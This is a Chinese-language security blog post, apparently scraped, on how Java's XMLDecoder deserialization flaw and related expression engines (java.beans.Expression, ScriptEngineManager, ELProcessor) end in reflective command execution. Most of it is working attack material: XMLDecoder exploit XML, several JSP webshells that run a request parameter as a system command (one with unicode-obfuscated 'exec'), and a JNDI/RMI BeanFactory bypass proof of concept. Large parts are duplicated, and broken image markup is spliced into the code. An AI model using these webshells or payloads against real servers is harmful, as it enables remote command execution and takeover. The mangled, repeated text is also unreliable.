XMLDecoder反序列化漏洞底层
参考的文章已经分析的非常详细了,这里我主要是就是一下最后的执行是怎么样的。也就是Expression类的使用
import java.beans.Expression;
public class test {public static void main(String[] args)throws Exception {Parameter(); //有参数NoParameter(); //无参数}public static void Parameter() throws Exception{Object var3 = new ProcessBuilder();String var4 = "command";String[] strings = new String[]{"calc"};Object[] var2 = new Object[]{strings};Expression var5 = new Expression(var3, var4, var2);Object value = var5.getValue(); //获得参数的类String var1 = "start";Object[] var6 = new Object[]{};Expression expression = new Expression(value, var1, var6); //执行start方法expression.getValue();
//为什么不能执行?因为class.newInstance只能调用无参构造函数而ProcessBuilder没有无参数构造函数。
//Class<?> aClass = value.getClass();
//Object o = aClass.newInstance();
//Method start = aClass.getMethod("start");
//start.invoke(o);}public static void NoParameter(){String[] strings = new String[]{"cmd.exe","/c","calc"};Object var3 = new ProcessBuilder(strings);String var4 = "start";Object[] var2 = new Object[]{};Expression var5 = new Expression(var3, var4, var2);try {var5.getValue();} catch (Exception e) {e.printStackTrace();}}
}
并且通过测试可以发现Expression的使用,给出下面的例子。
public class cmd {public void Noparameter(){System.out.println("无参数调用....");}public void Parameter(Object[] obj){System.out.println("有参数调用....");}
}
import java.beans.Expression;
public class test1 {public static void main(String[] args)throws Exception {Object var3 = new cmd();String var4 = "Parameter"; //NoparameterObject[] var2 = new Object[]{"233333"};var2 = new Object[]{var2};var2 = new Object[]{};Expression var5 = new Expression(var3, var4, var2);var5.getValue();}
}
并且给出了一些exp。
<? xml version="1.0" encoding="UTF-8" ?>
<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd.exe</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"></void></object>
</java>
通过实体编码绕过
<? xml version="1.0" encoding="UTF-8" ?>
<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd.exe</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></object>
</java>
<? xml version="1.0" encoding="UTF-8" ?>
<java>
<object class="java.io.PrintWriter"><string>D:\shell.jsp</string><void method="println"><string> webshell
</string></void><void method="close"/>
</object>
</java>
想了一下Expression类,底层是通过反射执行的, 那我们能可以制作webshell了
-----------------------制作WebShell
Expression
package shell.Expression;
import java.beans.Expression;
public class test {public static void main(String[] args) {String payload ="calc";Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});try {expression.getValue();} catch (Exception e) {e.printStackTrace();}}
}
上面是java代码,执行的原理是反射在getValue方法中可以清楚的看到,要制作webshell就需要jsp代码。
<%@ page import="java.beans.Expression"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%String payload =request.getParameter("cmd");Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});expression.getValue();
%>
介绍到这里又突然想到了其他表达式类的执行。
ScriptEngineManager
通过ScriptEngineManager这个类可以实现Java跟JS的相互调用,虽然Java自己没有eval函数,但是ScriptEngineManager有eval函数,并且可以直接调用Java对象,也就相当于间接实现了Java的eval功能。
package shell.ScriptEngineManager;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class test {public static void main(String[] args) throws Exception{String test = "print('hello word<img src="https://blog.csdn.net/u013292493/article/details/51020057String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec("calc");}"" style="margin: auto" />
//String payload8 = "var scr = document.createElement("script");scr.src = "http://127.0.0.1:8082/js.js";document.body.appendChild(scr);exec();";eval(payload7);}public static void eval(String payload){payload=payload;ScriptEngineManager manager = new ScriptEngineManager(null);ScriptEngine engine = manager.getEngineByName("js");try {engine.eval(payload);} catch (Exception e) {e.printStackTrace();}}
}
然后自己突发奇想,思考能不能远程加载js代码?然后执行远程js代码里面的exp。参考payload8
function exec(){var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};
}
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e9ae96b4c26f4b2cb10b63e4dd61d259~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp3.ssl.qhimg.com%252Ft0179f10a0c8e69a0e6.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft0179f10a0c8e69a0e6.png”” style=“margin: auto” />
执行失败!百度了一下原因大概是因为java在执行js代码的时候没有浏览器的内置对象如:document,window等等。
解决方法 大概就是添加组件配置java解析浏览器的环境??这样的话基本上不可能这样配置了,于是自己就没有在深入了解了。
java执行js代码的底层原理
这里自己调试会很多次中间的具体流程基本上就是一个解析过程,所以只看最后。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/4d3964e9272e430d999ae20f204a9eb8~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp3.ssl.qhimg.com%252Ft01e6956b494b8dcb24.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft01e6956b494b8dcb24.png”” style=“margin: auto” />
其实本质上还是反射。最后的调用apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) 的apply方式去执行。
在看一下调用栈:
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager)
调试过程大家可以自己去测试
而上面的加载远程js的思路是来自自己调试的过程。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0b91fb158bba4d00b04f3a7b51c5d371~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp0.ssl.qhimg.com%252Ft01d99bf455b7ffdf3f.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft01d99bf455b7ffdf3f.png”” style=“margin: auto” />
那webshell.无回显的
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%ScriptEngineManager manager = new ScriptEngineManager(null);ScriptEngine engine = manager.getEngineByName("js");String payload = request.getParameter("cmd");engine.eval(payload);
%>
然后不得不说java中还有一个表达式执行的,那就是EL表达式
ELProcessor
表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。
ELProcessor也有自己的eval函数,并且可以调用Java对象执行命令。
package shell.EL;
import javax.el.ELProcessor;
public class test {public static void main(String[] args) throws Exception {String payload = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var exp='calc';java.lang.Runtime.getRuntime().exec(exp);")";String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('nashorn')" +".eval("s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")";ELeval(payload);}public static void ELeval(String payload){payload=payload;ELProcessor elProcessor = new ELProcessor();try {elProcessor.eval(payload);} catch (Exception e) {e.printStackTrace();}}
}
我们也可以看看EL表达式的底层原理。
EL表达式的底层原理
我们使用payload进行debug调试,一直跟着流程走发现最后还是通过反射去执行。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d89435e34f554a72b250161dc962d3d4~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp4.ssl.qhimg.com%252Ft01c1917365cf873f29.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft01c1917365cf873f29.png”” style=“margin: auto” />
最后在AstValue类中执行getValue方法,从而调用payload,之后就会js代码执行的流程一样了。
调用栈:
getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL)
webshell.无回显的
<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%String cmd =request.getParameter("cmd");String payload = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);")";ELProcessor elProcessor = new ELProcessor();elProcessor.eval(payload);
%>
介绍到这里,突然想到了jndi注入绕过jdk191+,其中的一种方法就是利用ELProcessor类
这里直接给出poc
Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
还有一种方法是通过LDAP去绕过,自己写了一个小工具
总结
通过学习XMLDecoder的底层执行的流程去发现其他表达式执行,而其中的很多底层都是通过java反射技术实现的!
若文章中出现错误希望大佬们能够提出
其实本质上还是反射。最后的调用apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) 的apply方式去执行。
在看一下调用栈:
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager)
调试过程大家可以自己去测试
而上面的加载远程js的思路是来自自己调试的过程。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e161593494d64d7698b2b3357c529f91~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp0.ssl.qhimg.com%252Ft01d99bf455b7ffdf3f.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft01d99bf455b7ffdf3f.png”” style=“margin: auto” />
那webshell.无回显的
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%ScriptEngineManager manager = new ScriptEngineManager(null);ScriptEngine engine = manager.getEngineByName("js");String payload = request.getParameter("cmd");engine.eval(payload);
%>
然后不得不说java中还有一个表达式执行的,那就是EL表达式
ELProcessor
表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。
ELProcessor也有自己的eval函数,并且可以调用Java对象执行命令。
package shell.EL;
import javax.el.ELProcessor;
public class test {public static void main(String[] args) throws Exception {String payload = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var exp='calc';java.lang.Runtime.getRuntime().exec(exp);")";String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('nashorn')" +".eval("s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")";ELeval(payload);}public static void ELeval(String payload){payload=payload;ELProcessor elProcessor = new ELProcessor();try {elProcessor.eval(payload);} catch (Exception e) {e.printStackTrace();}}
}
我们也可以看看EL表达式的底层原理。
EL表达式的底层原理
我们使用payload进行debug调试,一直跟着流程走发现最后还是通过反射去执行。
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c17149ea05a949d4ab550989f853986d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp4.ssl.qhimg.com%252Ft01c1917365cf873f29.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft01c1917365cf873f29.png”” style=“margin: auto” />
最后在AstValue类中执行getValue方法,从而调用payload,之后就会js代码执行的流程一样了。
调用栈:
getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL)
webshell.无回显的
<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%String cmd =request.getParameter("cmd");String payload = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);")";ELProcessor elProcessor = new ELProcessor();elProcessor.eval(payload);
%>
介绍到这里,突然想到了jndi注入绕过jdk191+,其中的一种方法就是利用ELProcessor类
这里直接给出poc
Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
还有一种方法是通过LDAP去绕过,自己写了一个小工具
总结
通过学习XMLDecoder的底层执行的流程去发现其他表达式执行,而其中的很多底层都是通过java反射技术实现的!
若文章中出现错误希望大佬们能够提出
最后
如果你有想掌握更多更高阶的网安技术可以call me【学习】